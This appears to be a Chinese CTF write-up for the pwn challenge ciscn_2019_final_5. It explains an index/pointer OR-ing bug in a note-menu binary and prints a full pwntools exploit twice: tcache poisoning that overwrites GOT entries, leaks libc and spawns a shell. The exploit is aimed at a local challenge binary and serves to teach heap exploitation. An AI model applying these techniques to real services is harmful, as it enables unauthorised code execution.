ciscn_2019_final_5
ciscn_2019_final_5
总结
根据本题,学习与收获有:
tcache bin
的利用都不需要伪造chunk
,直接修改tcache chunk
的next
指针即可。但是libc2.27
之后的版本加入了检查。tcache bin dup
,也不存在检查,当有UAF
漏洞的时候,可以直接对tcache chunk
多次释放。tcache chunk
不会和top_chunk
合并。- 题目要读仔细,对于一些奇怪的操作,可以复现一下,加快分析速度!
题目分析
checksec
没有开启PIE防护。
函数分析
main
可以看出来,是个很经典的菜单题。
menu
提供三个选择,接下来依次来看
new_note
这个函数要注意以下几点:
- 输入索引的范围是0~0x10,也就是说最多可以存储17个
chunk
malloc
的范围为0~0x1000- 输出了每个
chunk
地址的低3个字节 0x6020e0
存储chunk
的指针,但是存储的是输入的idx
和分配到的chunk_ptr
的或值- 外部输入的
idx
和实际存放在0x6020e0
数组的索引并不一致!!
del_note
这里有两点要注意:
- 外部输入的
idx
并不是会对应去删除0x6020e0[idx]
处的chunk
,而是遍历0x6020e0
处的数组,对每一个地址ptr & 0xf
取出索引,再和外部输入的idx
比较,如果一样,就去删除这个地方的chunk
- 找到索引后,取出的要删除的
chunk
的地址是通过ptr & 0xfffffffffffffff0
计算得到的
edit_note
这里寻找索引和取出chunk
的方式和del_note
是一样的。
漏洞点
漏洞点就在于很奇怪的计算索引和计算chunk
地址的方式,分析这两种计算方式,可以发现:
- 由于
chunk
的地址一定是页对齐的,所以分配堆的地址的最后一位肯定是0x?0。这个地址和[0, 0xf]
之间的索引取或值,对地址前面的值是不影响的,如0x20 | 0xf = 0x2f
。因此,这个时候使用ptr & 0xf
取索引没问题,使用ptr & 0xf0
取原来的chunk
指针,也没问题。 - 但是,如果给的索引是
0x10
,那么就有问题了。举例说明:假设分配到的chunk_ptr
地址的最后一位为0x60
,那么按照new_note
的存储方式,数组中最后存的地址为0x60 | 0x10 = 0x70
。要取出索引,得输入0x70 & 0xf = 0x0
,取出的chunk_ptr
为0x70 & 0xf0 = 0x70
。那么如果调用del_note
或edit_note
,实际上处理的地址不是0x60
,而是为0x70
。 - 也就是说,如果首先创建
0x10
为idx
的chunk
,调用edit_note
的时候,要输入的索引实际不能是0x10
,而是0
,并且编辑的地址会往高地址移动0x10
个字节。这可以修改下一个chunk
的pre_size
和size
域大小。
利用思路
步骤:
- 分配一个
chunk A
,输入索引为0x10
,大小为0x10
- 分配一个
chunk B
,输入索引为0x1
,大小为0x10
- 分配一个
chunk C
,输入索引为0x2
,大小为0x10
- 分配一个
chunk D
,输入索引为0x3
,大小为0x20
- 分配一个
chunk E
,输入索引为0x4
,大小为0x10
,输入内容为/bin/sh\x00
- 通过
edit_note
接口,输入索引0
,来修改chunk B
的size
为0x71
,这是为了把chunk C
和chunk D
都囊括进来,制造overlapped chunk
。 - 依次释放
chunk B
和chunk C
和chunk D
- 分配一个
chunk F
,输入索引为0x1
,大小为0x60
,把刚刚释放那个假的chunk
申请回来,并修改已经释放了的chunk C
和chunk D
的next
指针 - 利用
tcache bin attack
分别分配chunk G
到free@got
处和chunk H
到setbuf@got
处,将free@got
覆盖为put@plt
,将setbuf@got
填为‘a’ * 8
。然后调用del_note(chunk H)
,泄露出atoi
函数的地址。 - 最后利用
edit_not
接口来修改chunk G
,将free@got
修改为system
地址,最后del_note(chunk E)
获取到shell
EXP
调试过程
首先,写好函数,并且也可以定义一个数组,存储chunk
地址,模拟0x6020e0
数组,同时,保证变化与程序一致。
# x[0]存储低3位和索引的或值,x[1]以及真实的chunk地址
qword_0x6020e0 = [[0, 0]] * 17
def show_qword_0x6020e0():
'''如果RealPtr(真实的chunk地址)和GetPtr(计算取出来的chunk地址)不一样的话,用绿色打印!'''
global qword_0x6020e0
addr = 0x6020e0
for x in qword_0x6020e0:
if x[0] == 0:
continue
fstr = 'Addr:{} StorePtr:{} RealPtr:{} GetPtr:{} GetIdx:{}'.format(hex(addr), hex(x[0]), hex(x[1]), hex(x[0] & 0xfff0),hex(x[0] & 0xf))
if (x[1]) != (x[0] & 0xfff0):
print_green('[*] ' + fstr)
else:
log.info(fstr)
addr += 8
def new_note(idx:int, size:int, content:bytes=b'\x00'):
global io, qword_0x6020e0
assert idx >= 0 and idx <= 0x10
io.sendlineafter("your choice: ", '1')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("size: ", str(size))
io.sendafter("content: ", content)
low_bytes = io.recvline()
log.info('get msg:{}'.format(low_bytes))
low_bytes = low_bytes[12:-1]
low_bytes = int16(low_bytes.decode())
store_low = (low_bytes | idx)
for i in range(0x11):
if qword_0x6020e0[i][0] == 0:
qword_0x6020e0[i] = [store_low, low_bytes]
break
return low_bytes, i
def del_note(idx:int):
global io, qword_0x6020e0
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", str(idx))
msg = io.recvline()
count = -1
for x in qword_0x6020e0:
count += 1
if (x[0] & 0xf) == idx:
x[0] = 0
x[1] = 0
break
return msg, count
def edit_note(idx:int, content:bytes):
global io
io.sendlineafter("your choice: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("edit success.\n\n")
按照利用思路分配chunk
,并打印数组看看:
# get chunk
new_note(0x10, 0x10) # idx 0 chunk A
new_note(0x1, 0x10) # idx 1 chunk B
new_note(0x2, 0x10) # idx 2 chunk C
new_note(0x3, 0x20) # idx 3 chunk D
new_note(0x4, 0x10, b'/bin/sh\x00') # idx 4 chunk E
show_qword_0x6020e0() # show array
的确是这样的:
看下堆:
然后修改size
域:
# edit and overlap size field
edit_note(0, p64(0) + p64(0x71))
释放这个假chunk
:
# del_note 1 chunk B and re-malloc it
del_note(1)
重新malloc
回来,然后释放chunk C/D
,并修改它们的next
指针:
new_note(0x1, 0x60) # idx 1 chunk F
# del_note 2 chunk C and 3 chunk D
del_note(2)
del_note(3)
# change the next pointer of freed chunk C and freed chunk D
payload = p64(0) * 3 + p64(0x21) + p64(0x602018) + p64(0) * 2 + p64(0x31) + p64(0x602070)
edit_note(1, payload)
分配到free@got
和setbuf@got
,并修改内容:
# tcache attack
new_note(1, 0x10)
new_note(1, 0x20)
new_note(2, 0x10, p64(0x400790)) # idx 2, chunk G, change free@got to puts@plt
new_note(3, 0x20, b'a' * 8) # idx 3, chunk H, change setbuf@got to 'aaaaaaaa'
看下数组:
然后泄露并计算system的地址,再看下数组:
# call del_note to leak __libc_atoi address and calculate __libc_system address
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '3')
msg = io.recvline()
show_qword_0x6020e0() # show array
# edit_note, change free@got to __libc_system
atoi_addr = u64(msg[8:-1] + b'\x00\x00')
LOG_ADDR('atoi_addr', atoi_addr)
system_addr = atoi_addr + 0xedc0
edit_note(10, p64(system_addr) * 2)
注意:要访问chunk G
的话,得输入idx
为0xa
注意,这个时候0x6020110
处的会被置空:
修改成功:
最后只需要free chunk E
:
# get shell
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '4')
最终exp
from pwn import *
io = process('./ciscn_2019_final_5')
# x[0]存储低3位和索引的或值,x[1]以及真实的chunk地址
qword_0x6020e0 = [[0, 0]] * 17
def show_qword_0x6020e0():
'''如果RealPtr(真实的chunk地址)和GetPtr(计算取出来的chunk地址)不一样的话,用绿色打印!'''
global qword_0x6020e0
addr = 0x6020e0
for x in qword_0x6020e0:
if x[0] == 0:
continue
fstr = 'Addr:{} StorePtr:{} RealPtr:{} GetPtr:{} GetIdx:{}'.format(hex(addr), hex(x[0]), hex(x[1]), hex(x[0] & 0xfff0),hex(x[0] & 0xf))
if (x[1]) != (x[0] & 0xfff0):
print_green('[*] ' + fstr)
else:
log.info(fstr)
addr += 8
def new_note(idx:int, size:int, content:bytes=b'\x00'):
global io, qword_0x6020e0
assert idx >= 0 and idx <= 0x10
io.sendlineafter("your choice: ", '1')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("size: ", str(size))
io.sendafter("content: ", content)
low_bytes = io.recvline()
log.info('get msg:{}'.format(low_bytes))
low_bytes = low_bytes[12:-1]
low_bytes = int16(low_bytes.decode())
store_low = (low_bytes | idx)
for i in range(0x11):
if qword_0x6020e0[i][0] == 0:
qword_0x6020e0[i] = [store_low, low_bytes]
break
return low_bytes, i
def del_note(idx:int):
global io, qword_0x6020e0
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", str(idx))
msg = io.recvline()
count = -1
for x in qword_0x6020e0:
count += 1
if (x[0] & 0xf) == idx:
x[0] = 0
x[1] = 0
break
return msg, count
def edit_note(idx:int, content:bytes):
global io
io.sendlineafter("your choice: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("edit success.\n\n")
# get chunk
new_note(0x10, 0x10) # idx 0 chunk A
new_note(0x1, 0x10) # idx 1 chunk B
new_note(0x2, 0x10) # idx 2 chunk C
new_note(0x3, 0x20) # idx 3 chunk D
new_note(0x4, 0x10, b'/bin/sh\x00') # idx 4 chunk E
show_qword_0x6020e0() # show array
# edit and overlap size field
edit_note(0, p64(0) + p64(0x71))
# del_note 1 chunk B and re-malloc it
del_note(1)
new_note(0x1, 0x60) # idx 1 chunk F
# del_note 2 chunk C and 3 chunk D
del_note(2)
del_note(3)
# change the next pointer of freed chunk C and freed chunk D
payload = p64(0) * 3 + p64(0x21) + p64(0x602018) + p64(0) * 2 + p64(0x31) + p64(0x602070)
edit_note(1, payload)
# tcache attack
new_note(1, 0x10)
new_note(1, 0x20)
new_note(2, 0x10, p64(0x400790)) # idx 2, chunk G, change free@got to puts@plt
new_note(3, 0x20, b'a' * 8) # idx 3, chunk H, change setbuf@got to 'aaaaaaaa'
# call del_note to leak __libc_atoi address and calculate __libc_system address
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '3')
msg = io.recvline()
show_qword_0x6020e0() # show array
# edit_note, change free@got to __libc_system
atoi_addr = u64(msg[8:-1] + b'\x00\x00')
LOG_ADDR('atoi_addr', atoi_addr)
system_addr = atoi_addr + 0xedc0
show_qword_0x6020e0()
edit_note(10, p64(system_addr) * 2)
# get shell
io.sendlineafter("your choice: ", '2')
io.sendlineafter("index: ", '4')
io.interactive()
ciscn_2019_final_5的更多相关文章
随机推荐
- Codeforces Beta Round #19 D. Points
Description Pete and Bob invented a new interesting game. Bob takes a sheet of paper and locates a C ...
- 《软件建模与分析》——UML基本概念
UML-基本概念 UML本质上是一种语言,语言的学习离不开基本的单词(元素)和语法(视图.模型)的学习,今天我们就从它们开始. 元素 类图中的关系 控制权限 继承 实现 依赖:一个类A使用到了另一个类 ...
- Leetcode(198)-打家劫舍
你是一个专业的小偷,计划偷窃沿街的房屋.每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警. 给定一个代表每 ...
- C++ part1
C++内存分配 references: C++ 自由存储区是否等价于堆? c++ new 与malloc有什么区别 C++, Free-Store vs Heap 1. 栈:由编译器自动分配释放,存放 ...
- Gym - 101981D Country Meow(模拟退火)题解
题意: 给\(n\)个三维点,问最小覆盖球的半径. 思路: 模拟退火. 代码: #include<set> #include<map> #include<cmath> ...
- 【DP】区间DP入门
在开始之前我要感谢y总,是他精彩的讲解才让我对区间DP有较深的认识. 简介 一般是线性结构上的对区间进行求解最值,计数的动态规划.大致思路是枚举断点,然后对断点两边求取最优解,然后进行合并从而得解. ...
- copyright@xgqfrms
copyright@xgqfrms copyright & seo ## refs *** <div> <a href="https://info.flagcoun ...
- svg 矩阵转换
svg 矩阵转换 https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/matrix https://develope ...
- parcel bug & not support normal import React & ReactDOM module
bug report not support normal import React & ReactDOM module, why Code Sample OK import * as Rea ...
- Flutter FractionallySizedBox 设置维度比例 而不是固定的px
本周小部件 有时您的设计需要相对的维度. FractionallySizedBox允许您将子项的大小调整为总可用空间的一小部分. Scaffold( body: Center( child: Frac ...